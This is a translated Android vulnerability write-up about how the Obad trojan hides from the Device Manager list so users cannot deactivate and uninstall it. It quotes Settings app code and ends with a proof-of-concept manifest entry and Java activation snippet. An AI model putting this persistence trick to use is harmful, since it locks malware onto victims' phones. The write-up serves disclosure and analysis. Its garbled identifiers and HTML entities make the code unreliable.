Android Device Manager Vulnerability Analysis!

I. Description of the vulnerability

The virus backdoor.androidos.obad.a, now known as "the strongest Android Trojan in history", uses Android Device Manager vulnerabilities to make it impossible for users to uninstall in a normal way. In fact, the vulnerability was discovered late last year. (http://safe.ijiami.cn/)

Applications registered as "Device Manager" cannot be uninstalled directly. You can uninstall the Device Manager only after you deactivate it.

Trojan can use Android Device Manager vulnerability to achieve the "stealth" effect in the Device Manager list. In this way, users cannot go to the "deactivate" page to achieve the purpose of not uninstalling.

Second, impact version

Android2.2 above (4.0,4.1,4.2)

Third, the loophole principle

First, let's look at how the Settings app forms the Device Manager list:

Related classes:

Packages\apps\settings\src\com\android\settings\deviceadminsettings.java

public class Deviceadminsettings extends Listfragment {

Devicepolicymanager MDPM;
Final hashset<componentname> mactiveadmins = new hashset<componentname> ();
Final arraylist<deviceadmininfo> mavailableadmins = new arraylist<deviceadmininfo> ();

@Override
public void Onresume () {
Super.onresume ();
Updatelist ();
}

void Updatelist () {
Mactiveadmins.clear ();
List<componentname> cur = mdpm.getactiveadmins ();
if (cur! = null) {
for (int i=0; i<cur.size (); i++) {
Mactiveadmins.add (Cur.get (i));
}
}

Mavailableadmins.clear ();
list<resolveinfo> avail = getactivity (). Getpackagemanager (). Querybroadcastreceivers (
New Intent (deviceadminreceiver.action_device_admin_enabled),
Packagemanager.get_meta_data);//By querying the broadcast "Android.app.action.DEVICE_ADMIN_ENABLED" to the available set List of backup manager programs
int count = Avail = = null? 0:avail.size ();
for (int i=0; i<count; i++) {
ResolveInfo ri = Avail.get (i);
try {
Deviceadmininfo dpi = new Deviceadmininfo (getactivity (), RI);
if (dpi.isvisible () | | mactiveadmins.contains (dpi.getcomponent ())) {
Mavailableadmins.add (DPI);
}
//If app has activated Device Manager && registered "Android.app.action.DEVICE_ADMIN_ENABLED" appears in the Available Device Manager list
} catch (Xmlpullparserexception e) {
LOG.W (TAG, "skipping" + Ri.activityinfo, E);
} catch (IOException e) {
LOG.W (TAG, "skipping" + Ri.activityinfo, E);
}
}

Getlistview (). Setadapter (New Policylistadapter ());
}

.......

Class Policylistadapter extends Baseadapter {
.......

public void BindView (view view, int position) {
Final Activity activity = getactivity ();
Viewholder VH = (viewholder) view.gettag ();
Deviceadmininfo item = mavailableadmins.get (position);//Show data in Mavailableadmins
Vh.icon.setImageDrawable (Item.loadicon (Activity.getpackagemanager ()));
Vh.name.setText (Item.loadlabel (Activity.getpackagemanager ()));
Vh.checkbox.setChecked (Mactiveadmins.contains (Item.getcomponent ()));
try {
Vh.description.setText (Item.loaddescription (Activity.getpackagemanager ()));
} catch (Resources.notfoundexception e) {
}
}
}

}

From the Android Settings app source code can be seen, if you want to "stealth" in the Device Manager list, as long as not registered "Android.app.action.DEVICE_ADMIN_ENABLED" broadcast on the line.

Iv. POC Code

Androidmainfest.xml File Registration Component:

   
<receiver android:name= ". Deviceadminreceiver" android:label= "@string/app_name"  
   android:description=" @string/description "Android: permission= "Android.permission.BIND_DEVICE_ADMIN" >&NBSP;
   
   <meta-data android:name= "Android.app.device_ Admin "&NBSP;
               android : resource= "@xml/device_admin"/>&NBSP;
  
</ Receiver>

Java code registration activates Device Manager:

Intent Intent = new Intent (
Devicepolicymanager.action_add_device_admin);
ComponentName mdevicecomponentname = new ComponentName ("PackageName", "Packagename.deviceadminreceiver");
Intent.putextra (Devicepolicymanager.extra_device_admin,
Mdevicecomponentname);
This.startactivity (intent,0);

Android Device Manager Vulnerability Analysis!